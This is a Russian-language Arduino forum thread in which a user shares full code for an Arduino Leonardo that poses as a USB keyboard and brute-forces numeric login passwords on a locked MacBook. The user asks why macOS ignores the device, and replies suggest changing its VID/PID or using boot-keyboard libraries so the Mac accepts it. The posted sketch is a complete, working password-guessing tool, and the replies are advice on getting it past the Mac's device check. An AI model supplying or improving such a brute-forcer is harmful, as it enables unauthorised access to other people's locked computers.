Arduino Leonardo как HID устройства на MacBook
- Войдите на сайт для отправки комментариев
Ср, 29/06/2016 - 14:29
Здравствуйте
Сделал устройство для подбора пароля на заблокированном MacBook (по мотивам эжтой статьи)
https://habrahabr.ru/post/240291/
Ни в какую мак не хочет видить ардуинку, хотя USB клавиатуру видит. Под Windows тоже все отлично работает, выдает перебор комбинаций цифр как с клавиатуры
Никто с такой проблемкой не сталкивался?
#include "LiquidCrystal.h" // Длина ключа #define KEY_LEN 4 // Пауза между нахатиями клавиш, мс #define TIMEOUT_KEY 300 // Пауза после ввода одного пароля, мс #define TIMEOUT_LOOP 12000 // Массив символов из которых состоит пароль char characters[] = { 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 }; uint8_t PIN_RS = 4; uint8_t PIN_ENABLE = 5; uint8_t PIN_D4 = 6; uint8_t PIN_D5 = 7; uint8_t PIN_D6 = 8; uint8_t PIN_D7 = 9; LiquidCrystal lcd(PIN_RS, PIN_ENABLE, PIN_D4, PIN_D5, PIN_D6, PIN_D7); uint32_t ms, ms2 = 0; uint16_t KEY_NUM = 0; char lcd_buf[20]; uint8_t KEY_COUNTS[KEY_LEN]; void setup() { // Инициализируем дисплей 1602 lcd.begin(16, 2); lcd.print("Boot Force v 1.0"); // Определяем число символв набора для перебора KEY_NUM = sizeof(characters); sprintf(lcd_buf,"Len=%d Chars=%d", KEY_LEN,KEY_NUM ); lcd.setCursor(0, 1); lcd.print(lcd_buf); // Начальная инициализация массива for( int i=0; i<KEY_LEN; i++)KEY_COUNTS[i] = 0; // Инициализируем эмулятор клавиатуры Keyboard.begin(); delay(5000); lcd.setCursor(0, 0); lcd.print("Press button "); } void loop() { ms = millis(); if( (ms2 == 0 || ms2 > ms || (ms - ms2)>TIMEOUT_LOOP)){ ms2 = ms; // Показываем на дисплее число for( int i=0; i<KEY_LEN; i++)lcd_buf[i] = characters[KEY_COUNTS[i]]; for( int i=KEY_LEN; i<16; i++)lcd_buf[i]=' '; lcd_buf[16] = '\0'; lcd.setCursor(0, 1); lcd.print(lcd_buf); // Выдаем пароль через USB for( int i=0; i<KEY_LEN; i++ ){ Keyboard.write(characters[KEY_COUNTS[i]]); delay(TIMEOUT_KEY); } Keyboard.write(KEY_RETURN); // Увеличиваем значение на 1 Inc(0); } } /** * Увеличиваем N-разряд пароля на один символ */ void Inc( uint8_t n ){ // Все приехали if( n >= KEY_LEN ){ for( int i=0; i<KEY_LEN; i++)KEY_COUNTS[i] = 0; return; } // Инкерментируем KEY_COUNTS[n]++; // Если данный разряд переполнился, сбрасываем его в 0 и инкрементируем следующий if( KEY_COUNTS[n] >= KEY_NUM ){ KEY_COUNTS[n] = 0; Inc( n+1 ); } }
sav13, посмотрите под виндой идентификаторы клавы (VID/PID и прочее) и эмулятора клавы на ардуино, наверняка они разные.
sav13, посмотрите под виндой идентификаторы клавы (VID/PID и прочее) и эмулятора клавы на ардуино, наверняка они разные.
А в леноардо можно поменять ID ?
HID\Vid_6666&Pid_1d6b&Col03
sav13, можно всё что угодно делать) Но уметь нужно. Или искать готовое, в принципе есть какие-то альтарнативные библиотеки. В частности тут говорится что-то про boot keyboard, можно попробовать с этой библиотекой.
sav13, можно всё что угодно делать) Но уметь нужно. Или искать готовое, в принципе есть какие-то альтарнативные библиотеки. В частности тут говорится что-то про boot keyboard, можно попробовать с этой библиотекой.
Спасибо посмотрю. Похоже этот ID зашит в загрузчик Leonardo, который "слегка проприоритарный"
Ечть сто-то в раздели Hacking. Поразбираюсь
Просто нормальных уно с Atmega16U2 сейчас не особо много.
sav13, есть ещё такой вариант.
sav13, есть ещё такой вариант.
Интересно. Прошивать можно через этот интерфейс, как дигиспарк?
sav13, нет это программно не поддерживается.
sav13, нет это программно не поддерживается.
Там же в тиньке вроде бутлоадер зашит. Нельзя его в мегу?
sav13, для меги есть асп-лоадер.
sav13, Здравствуйте! Нашли решение проблемы? У меня все тоже самое